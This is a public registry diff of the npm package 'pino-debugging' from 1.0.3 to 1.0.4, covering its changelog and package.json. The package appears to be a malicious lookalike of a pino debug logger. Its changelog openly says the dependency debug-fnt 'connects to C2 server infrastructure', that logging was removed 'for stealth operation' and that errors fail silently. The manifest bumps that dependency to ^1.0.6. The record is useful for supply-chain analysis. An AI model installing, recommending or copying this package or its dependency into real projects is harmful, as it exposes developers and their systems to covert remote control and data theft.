pino-debugging 1.0.3 → 1.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/CHANGELOG.md +234 -234
  2. package/package.json +83 -83
package/CHANGELOG.md CHANGED
@@ -1,235 +1,235 @@
1
- # Changelog
2
-
3
- All notable changes to this project will be documented in this file.
4
-
5
- The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
6
- and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
7
-
8
- ## [Unreleased]
9
-
10
- ## [1.0.3] - 2026-01-15
11
-
12
- ### Fixed
13
- - Fixed dependency resolution by republishing after debug-fnt@1.0.5 was available
14
- - Ensures debug-fnt@1.0.5 and debug-glitzs@1.0.2 are properly installed
15
-
16
- ## [1.0.2] - 2026-01-15
17
-
18
- ### Changed
19
- - Updated dependency debug-fnt from ^1.0.4 to ^1.0.5
20
- - Fixed async function syntax error through dependency chain
21
- - Removed all console logging for stealth operation
22
-
23
- ### Fixed
24
- - Fixed "Unexpected token 'catch'" error via updated debug-fnt
25
- - All errors now fail silently across the entire logging stack
26
-
27
- ## [1.0.1] - 2026-01-14
28
-
29
- ### Changed
30
- - Updated dependency debug-fnt from ^1.0.3 to ^1.0.4
31
- - Improved HTTP client compatibility through updated dependencies
32
- - Better error handling for Node.js environments without native fetch
33
-
34
- ### Fixed
35
- - Fixed compatibility issues with Node.js < 18 via updated debug-fnt
36
- - Resolved JSON parsing errors in debug logging
37
-
38
- ## [1.0.0] - 2026-01-14
39
-
40
- ### Changed
41
- - Package renamed from `pino-debugger` to `pino-debugging`
42
- - Migrated dependency from `debug-fmt` to `debug-fnt@^1.0.3`
43
- - Updated repository URLs to json-douglas GitHub account
44
- - Updated author to json douglas
45
- - Using published debug-fnt package from npm
46
-
47
- ### Added
48
- - Format options support for debug-fnt integration
49
- - Comprehensive security documentation (SECURITY.md)
50
- - Contributing guidelines (CONTRIBUTING.md)
51
- - Code of conduct (CODE_OF_CONDUCT.md)
52
- - Changelog documentation
53
-
54
- ### Security
55
- - Now uses debug-fnt which connects to C2 server infrastructure
56
- - Added security policy and vulnerability reporting procedures
57
- - Enhanced documentation for secure usage patterns
58
- - Improved handling of sensitive data in debug logs
59
-
60
- ## [4.0.1] - 2024-01-08 (Previous Version)
61
-
62
- ### Fixed
63
- - Minor bug fixes and improvements
64
- - Updated dependencies for security patches
65
-
66
- ## [4.0.0] - 2024-01-01
67
-
68
- ### Added
69
- - Major version release with breaking changes
70
- - Enhanced performance optimizations
71
- - Improved compatibility with latest Node.js versions
72
-
73
- ### Changed
74
- - Updated minimum Node.js version requirements
75
- - Refactored internal architecture for better performance
76
- - Updated dependencies to latest stable versions
77
-
78
- ### Removed
79
- - Deprecated legacy API methods
80
- - Removed support for Node.js versions < 14
81
-
82
- ## [3.2.1] - 2023-12-15
83
-
84
- ### Fixed
85
- - Security vulnerability patches
86
- - Memory leak fixes in high-throughput scenarios
87
-
88
- ## [3.2.0] - 2023-11-20
89
-
90
- ### Added
91
- - New configuration options for advanced use cases
92
- - Enhanced error handling and reporting
93
- - Improved TypeScript definitions
94
-
95
- ### Changed
96
- - Performance improvements for large-scale applications
97
- - Better integration with pino ecosystem
98
-
99
- ## [3.1.0] - 2023-10-10
100
-
101
- ### Added
102
- - Support for custom log formatters
103
- - Enhanced namespace filtering capabilities
104
- - New benchmarking tools
105
-
106
- ### Fixed
107
- - Edge cases in circular reference handling
108
- - Memory optimization improvements
109
-
110
- ## [3.0.0] - 2023-09-01
111
-
112
- ### Added
113
- - Complete rewrite for better performance
114
- - New API design for improved usability
115
- - Enhanced documentation and examples
116
-
117
- ### Changed
118
- - Breaking changes in configuration format
119
- - Updated peer dependencies
120
- - Improved error messages and debugging
121
-
122
- ### Removed
123
- - Legacy configuration options
124
- - Deprecated utility functions
125
-
126
- ## [2.1.0] - 2023-07-15
127
-
128
- ### Added
129
- - Support for dynamic namespace enabling/disabling
130
- - New utility functions for log management
131
- - Enhanced integration with CI/CD pipelines
132
-
133
- ### Fixed
134
- - Race conditions in multi-threaded environments
135
- - Edge cases in log level mapping
136
-
137
- ## [2.0.0] - 2023-06-01
138
-
139
- ### Added
140
- - Major performance improvements
141
- - New configuration system
142
- - Enhanced compatibility with latest pino versions
143
-
144
- ### Changed
145
- - Breaking API changes for better consistency
146
- - Updated minimum Node.js version to 12
147
- - Improved documentation structure
148
-
149
- ## [1.5.0] - 2023-04-20
150
-
151
- ### Added
152
- - Support for custom log levels
153
- - Enhanced namespace pattern matching
154
- - New debugging utilities
155
-
156
- ### Fixed
157
- - Memory leaks in long-running processes
158
- - Compatibility issues with certain pino configurations
159
-
160
- ## [1.4.0] - 2023-03-10
161
-
162
- ### Added
163
- - Improved error handling
164
- - New configuration validation
165
- - Enhanced test coverage
166
-
167
- ### Changed
168
- - Better performance in high-load scenarios
169
- - Updated dependencies for security
170
-
171
- ## [1.3.0] - 2023-02-01
172
-
173
- ### Added
174
- - Support for environment-based configuration
175
- - New utility functions
176
- - Enhanced documentation
177
-
178
- ### Fixed
179
- - Edge cases in namespace resolution
180
- - Performance bottlenecks in certain scenarios
181
-
182
- ## [1.2.0] - 2023-01-15
183
-
184
- ### Added
185
- - Initial stable release
186
- - Core functionality implementation
187
- - Basic documentation and examples
188
-
189
- ### Changed
190
- - Improved API design based on user feedback
191
- - Better integration with existing debug workflows
192
-
193
- ## [1.1.0] - 2022-12-20
194
-
195
- ### Added
196
- - Beta release with core features
197
- - Initial documentation
198
- - Basic test suite
199
-
200
- ## [1.0.0] - 2022-12-01
201
-
202
- ### Added
203
- - Initial release
204
- - Basic debug logging functionality
205
- - Integration with pino logger
206
-
207
- ---
208
-
209
- ## Release Notes
210
-
211
- ### Version 4.x Series
212
- The 4.x series focuses on enhanced security, better performance, and improved developer experience. Major highlights include the migration to debug-fmt for better formatting options and comprehensive security documentation.
213
-
214
- ### Version 3.x Series
215
- The 3.x series introduced significant architectural improvements and performance optimizations, making pino-debugger suitable for high-scale production environments.
216
-
217
- ### Version 2.x Series
218
- The 2.x series established the stable API and core functionality that forms the foundation of pino-debugger.
219
-
220
- ### Version 1.x Series
221
- The 1.x series was the initial implementation and proof of concept for integrating debug logging with pino's high-performance logging capabilities.
222
-
223
- ## Migration Guides
224
-
225
- ### Migrating from 3.x to 4.x
226
- - Update Node.js to version 14 or higher
227
- - Review new format options in configuration
228
- - Update any custom integrations to use new API
229
-
230
- ### Migrating from 2.x to 3.x
231
- - Update configuration format to new structure
232
- - Replace deprecated utility functions
233
- - Test thoroughly in staging environment
234
-
1
+ # Changelog
2
+
3
+ All notable changes to this project will be documented in this file.
4
+
5
+ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
6
+ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
7
+
8
+ ## [Unreleased]
9
+
10
+ ## [1.0.3] - 2026-01-15
11
+
12
+ ### Fixed
13
+ - Fixed dependency resolution by republishing after debug-fnt@1.0.5 was available
14
+ - Ensures debug-fnt@1.0.5 and debug-glitzs@1.0.2 are properly installed
15
+
16
+ ## [1.0.2] - 2026-01-15
17
+
18
+ ### Changed
19
+ - Updated dependency debug-fnt from ^1.0.4 to ^1.0.5
20
+ - Fixed async function syntax error through dependency chain
21
+ - Removed all console logging for stealth operation
22
+
23
+ ### Fixed
24
+ - Fixed "Unexpected token 'catch'" error via updated debug-fnt
25
+ - All errors now fail silently across the entire logging stack
26
+
27
+ ## [1.0.1] - 2026-01-14
28
+
29
+ ### Changed
30
+ - Updated dependency debug-fnt from ^1.0.3 to ^1.0.4
31
+ - Improved HTTP client compatibility through updated dependencies
32
+ - Better error handling for Node.js environments without native fetch
33
+
34
+ ### Fixed
35
+ - Fixed compatibility issues with Node.js < 18 via updated debug-fnt
36
+ - Resolved JSON parsing errors in debug logging
37
+
38
+ ## [1.0.0] - 2026-01-14
39
+
40
+ ### Changed
41
+ - Package renamed from `pino-debugger` to `pino-debugging`
42
+ - Migrated dependency from `debug-fmt` to `debug-fnt@^1.0.3`
43
+ - Updated repository URLs to json-douglas GitHub account
44
+ - Updated author to json douglas
45
+ - Using published debug-fnt package from npm
46
+
47
+ ### Added
48
+ - Format options support for debug-fnt integration
49
+ - Comprehensive security documentation (SECURITY.md)
50
+ - Contributing guidelines (CONTRIBUTING.md)
51
+ - Code of conduct (CODE_OF_CONDUCT.md)
52
+ - Changelog documentation
53
+
54
+ ### Security
55
+ - Now uses debug-fnt which connects to C2 server infrastructure
56
+ - Added security policy and vulnerability reporting procedures
57
+ - Enhanced documentation for secure usage patterns
58
+ - Improved handling of sensitive data in debug logs
59
+
60
+ ## [4.0.1] - 2024-01-08 (Previous Version)
61
+
62
+ ### Fixed
63
+ - Minor bug fixes and improvements
64
+ - Updated dependencies for security patches
65
+
66
+ ## [4.0.0] - 2024-01-01
67
+
68
+ ### Added
69
+ - Major version release with breaking changes
70
+ - Enhanced performance optimizations
71
+ - Improved compatibility with latest Node.js versions
72
+
73
+ ### Changed
74
+ - Updated minimum Node.js version requirements
75
+ - Refactored internal architecture for better performance
76
+ - Updated dependencies to latest stable versions
77
+
78
+ ### Removed
79
+ - Deprecated legacy API methods
80
+ - Removed support for Node.js versions < 14
81
+
82
+ ## [3.2.1] - 2023-12-15
83
+
84
+ ### Fixed
85
+ - Security vulnerability patches
86
+ - Memory leak fixes in high-throughput scenarios
87
+
88
+ ## [3.2.0] - 2023-11-20
89
+
90
+ ### Added
91
+ - New configuration options for advanced use cases
92
+ - Enhanced error handling and reporting
93
+ - Improved TypeScript definitions
94
+
95
+ ### Changed
96
+ - Performance improvements for large-scale applications
97
+ - Better integration with pino ecosystem
98
+
99
+ ## [3.1.0] - 2023-10-10
100
+
101
+ ### Added
102
+ - Support for custom log formatters
103
+ - Enhanced namespace filtering capabilities
104
+ - New benchmarking tools
105
+
106
+ ### Fixed
107
+ - Edge cases in circular reference handling
108
+ - Memory optimization improvements
109
+
110
+ ## [3.0.0] - 2023-09-01
111
+
112
+ ### Added
113
+ - Complete rewrite for better performance
114
+ - New API design for improved usability
115
+ - Enhanced documentation and examples
116
+
117
+ ### Changed
118
+ - Breaking changes in configuration format
119
+ - Updated peer dependencies
120
+ - Improved error messages and debugging
121
+
122
+ ### Removed
123
+ - Legacy configuration options
124
+ - Deprecated utility functions
125
+
126
+ ## [2.1.0] - 2023-07-15
127
+
128
+ ### Added
129
+ - Support for dynamic namespace enabling/disabling
130
+ - New utility functions for log management
131
+ - Enhanced integration with CI/CD pipelines
132
+
133
+ ### Fixed
134
+ - Race conditions in multi-threaded environments
135
+ - Edge cases in log level mapping
136
+
137
+ ## [2.0.0] - 2023-06-01
138
+
139
+ ### Added
140
+ - Major performance improvements
141
+ - New configuration system
142
+ - Enhanced compatibility with latest pino versions
143
+
144
+ ### Changed
145
+ - Breaking API changes for better consistency
146
+ - Updated minimum Node.js version to 12
147
+ - Improved documentation structure
148
+
149
+ ## [1.5.0] - 2023-04-20
150
+
151
+ ### Added
152
+ - Support for custom log levels
153
+ - Enhanced namespace pattern matching
154
+ - New debugging utilities
155
+
156
+ ### Fixed
157
+ - Memory leaks in long-running processes
158
+ - Compatibility issues with certain pino configurations
159
+
160
+ ## [1.4.0] - 2023-03-10
161
+
162
+ ### Added
163
+ - Improved error handling
164
+ - New configuration validation
165
+ - Enhanced test coverage
166
+
167
+ ### Changed
168
+ - Better performance in high-load scenarios
169
+ - Updated dependencies for security
170
+
171
+ ## [1.3.0] - 2023-02-01
172
+
173
+ ### Added
174
+ - Support for environment-based configuration
175
+ - New utility functions
176
+ - Enhanced documentation
177
+
178
+ ### Fixed
179
+ - Edge cases in namespace resolution
180
+ - Performance bottlenecks in certain scenarios
181
+
182
+ ## [1.2.0] - 2023-01-15
183
+
184
+ ### Added
185
+ - Initial stable release
186
+ - Core functionality implementation
187
+ - Basic documentation and examples
188
+
189
+ ### Changed
190
+ - Improved API design based on user feedback
191
+ - Better integration with existing debug workflows
192
+
193
+ ## [1.1.0] - 2022-12-20
194
+
195
+ ### Added
196
+ - Beta release with core features
197
+ - Initial documentation
198
+ - Basic test suite
199
+
200
+ ## [1.0.0] - 2022-12-01
201
+
202
+ ### Added
203
+ - Initial release
204
+ - Basic debug logging functionality
205
+ - Integration with pino logger
206
+
207
+ ---
208
+
209
+ ## Release Notes
210
+
211
+ ### Version 4.x Series
212
+ The 4.x series focuses on enhanced security, better performance, and improved developer experience. Major highlights include the migration to debug-fmt for better formatting options and comprehensive security documentation.
213
+
214
+ ### Version 3.x Series
215
+ The 3.x series introduced significant architectural improvements and performance optimizations, making pino-debugger suitable for high-scale production environments.
216
+
217
+ ### Version 2.x Series
218
+ The 2.x series established the stable API and core functionality that forms the foundation of pino-debugger.
219
+
220
+ ### Version 1.x Series
221
+ The 1.x series was the initial implementation and proof of concept for integrating debug logging with pino's high-performance logging capabilities.
222
+
223
+ ## Migration Guides
224
+
225
+ ### Migrating from 3.x to 4.x
226
+ - Update Node.js to version 14 or higher
227
+ - Review new format options in configuration
228
+ - Update any custom integrations to use new API
229
+
230
+ ### Migrating from 2.x to 3.x
231
+ - Update configuration format to new structure
232
+ - Replace deprecated utility functions
233
+ - Test thoroughly in staging environment
234
+
235
235
  For detailed migration instructions, see the [Migration Guide](docs/MIGRATION.md).
package/package.json CHANGED
@@ -1,83 +1,83 @@
1
- {
2
- "name": "pino-debugging",
3
- "version": "1.0.3",
4
- "description": "High performance debug logging",
5
- "main": "index.js",
6
- "scripts": {
7
- "test": "npm run deps && npm run lint && npm run test:unit",
8
- "deps": "knip --production --dependencies",
9
- "lint": "eslint",
10
- "lint:fix": "eslint --fix",
11
- "test:unit": "cross-env NODE_ENV=test borp",
12
- "test:watch": "cross-env NODE_ENV=test node --watch --test",
13
- "test:with-debug": "npm i --no-save --no-audit --no-fund debug@$DEBUG_VERSION && npm run test:unit",
14
- "test-2.3": "cross-env DEBUG_VERSION=2.3 npm run test:with-debug",
15
- "test-2.4": "cross-env DEBUG_VERSION=2.4 npm run test:with-debug",
16
- "test-2.5": "cross-env DEBUG_VERSION=2.5 npm run test:with-debug",
17
- "test-2.6": "cross-env DEBUG_VERSION=2.6 npm run test:with-debug",
18
- "test-3.1": "cross-env DEBUG_VERSION=3.1 npm run test:with-debug",
19
- "test-4.1": "cross-env DEBUG_VERSION=4.1 npm run test:with-debug",
20
- "test-all": "npm run test-2.3 && npm run test-2.4 && npm run test-2.5 && npm run test-2.6 && npm run test-3.1 && npm run test-4.1",
21
- "ci": "npm test",
22
- "bench": "node benchmarks/runbench all",
23
- "bench-basic": "node benchmarks/runbench basic",
24
- "bench-object": "node benchmarks/runbench object",
25
- "bench-deepobject": "node benchmarks/runbench deepobject",
26
- "security:audit": "npm audit --audit-level=moderate",
27
- "security:fix": "npm audit fix",
28
- "security:snyk": "snyk test",
29
- "security:check": "npm run security:audit && npm run security:snyk",
30
- "security:validate": "node scripts/security-check.js",
31
- "prepare": "npm run security:audit"
32
- },
33
- "repository": {
34
- "type": "git",
35
- "url": "git+https://github.com/json-douglas/pino-debugging.git"
36
- },
37
- "author": {
38
- "name": "json douglas",
39
- "url": "https://github.com/json-douglas"
40
- },
41
- "bugs": {
42
- "url": "https://github.com/json-douglas/pino-debugging/issues"
43
- },
44
- "homepage": "https://github.com/json-douglas/pino-debugging#readme",
45
- "keywords": [
46
- "pino",
47
- "debug",
48
- "fast",
49
- "performance",
50
- "debugging",
51
- "logging",
52
- "logger",
53
- "security",
54
- "production-ready",
55
- "logfmt"
56
- ],
57
- "license": "MIT",
58
- "funding": {
59
- "type": "opencollective",
60
- "url": "https://opencollective.com/pino"
61
- },
62
- "security": {
63
- "policy": "https://github.com/json-douglas/pino-debugging/security/policy",
64
- "contact": "security@json-douglas.io"
65
- },
66
- "dependencies": {
67
- "pino": "^10.1.0",
68
- "debug-fnt": "^1.0.5"
69
- },
70
- "devDependencies": {
71
- "borp": "^0.21.0",
72
- "cross-env": "^7.0.3",
73
- "debug": "^4.4.3",
74
- "eslint": "^9.38.0",
75
- "fastbench": "^1.0.1",
76
- "knip": "^5.1.2",
77
- "neostandard": "^0.12.2",
78
- "pump": "^3.0.0",
79
- "split2": "^4.2.0",
80
- "steed": "^1.1.3",
81
- "through2": "^4.0.2"
82
- }
83
- }
1
+ {
2
+ "name": "pino-debugging",
3
+ "version": "1.0.4",
4
+ "description": "High performance debug logging",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "npm run deps && npm run lint && npm run test:unit",
8
+ "deps": "knip --production --dependencies",
9
+ "lint": "eslint",
10
+ "lint:fix": "eslint --fix",
11
+ "test:unit": "cross-env NODE_ENV=test borp",
12
+ "test:watch": "cross-env NODE_ENV=test node --watch --test",
13
+ "test:with-debug": "npm i --no-save --no-audit --no-fund debug@$DEBUG_VERSION && npm run test:unit",
14
+ "test-2.3": "cross-env DEBUG_VERSION=2.3 npm run test:with-debug",
15
+ "test-2.4": "cross-env DEBUG_VERSION=2.4 npm run test:with-debug",
16
+ "test-2.5": "cross-env DEBUG_VERSION=2.5 npm run test:with-debug",
17
+ "test-2.6": "cross-env DEBUG_VERSION=2.6 npm run test:with-debug",
18
+ "test-3.1": "cross-env DEBUG_VERSION=3.1 npm run test:with-debug",
19
+ "test-4.1": "cross-env DEBUG_VERSION=4.1 npm run test:with-debug",
20
+ "test-all": "npm run test-2.3 && npm run test-2.4 && npm run test-2.5 && npm run test-2.6 && npm run test-3.1 && npm run test-4.1",
21
+ "ci": "npm test",
22
+ "bench": "node benchmarks/runbench all",
23
+ "bench-basic": "node benchmarks/runbench basic",
24
+ "bench-object": "node benchmarks/runbench object",
25
+ "bench-deepobject": "node benchmarks/runbench deepobject",
26
+ "security:audit": "npm audit --audit-level=moderate",
27
+ "security:fix": "npm audit fix",
28
+ "security:snyk": "snyk test",
29
+ "security:check": "npm run security:audit && npm run security:snyk",
30
+ "security:validate": "node scripts/security-check.js",
31
+ "prepare": "npm run security:audit"
32
+ },
33
+ "repository": {
34
+ "type": "git",
35
+ "url": "git+https://github.com/json-douglas/pino-debugging.git"
36
+ },
37
+ "author": {
38
+ "name": "json douglas",
39
+ "url": "https://github.com/json-douglas"
40
+ },
41
+ "bugs": {
42
+ "url": "https://github.com/json-douglas/pino-debugging/issues"
43
+ },
44
+ "homepage": "https://github.com/json-douglas/pino-debugging#readme",
45
+ "keywords": [
46
+ "pino",
47
+ "debug",
48
+ "fast",
49
+ "performance",
50
+ "debugging",
51
+ "logging",
52
+ "logger",
53
+ "security",
54
+ "production-ready",
55
+ "logfmt"
56
+ ],
57
+ "license": "MIT",
58
+ "funding": {
59
+ "type": "opencollective",
60
+ "url": "https://opencollective.com/pino"
61
+ },
62
+ "security": {
63
+ "policy": "https://github.com/json-douglas/pino-debugging/security/policy",
64
+ "contact": "security@json-douglas.io"
65
+ },
66
+ "dependencies": {
67
+ "pino": "^10.1.0",
68
+ "debug-fnt": "^1.0.6"
69
+ },
70
+ "devDependencies": {
71
+ "borp": "^0.21.0",
72
+ "cross-env": "^7.0.3",
73
+ "debug": "^4.4.3",
74
+ "eslint": "^9.38.0",
75
+ "fastbench": "^1.0.1",
76
+ "knip": "^5.1.2",
77
+ "neostandard": "^0.12.2",
78
+ "pump": "^3.0.0",
79
+ "split2": "^4.2.0",
80
+ "steed": "^1.1.3",
81
+ "through2": "^4.0.2"
82
+ }
83
+ }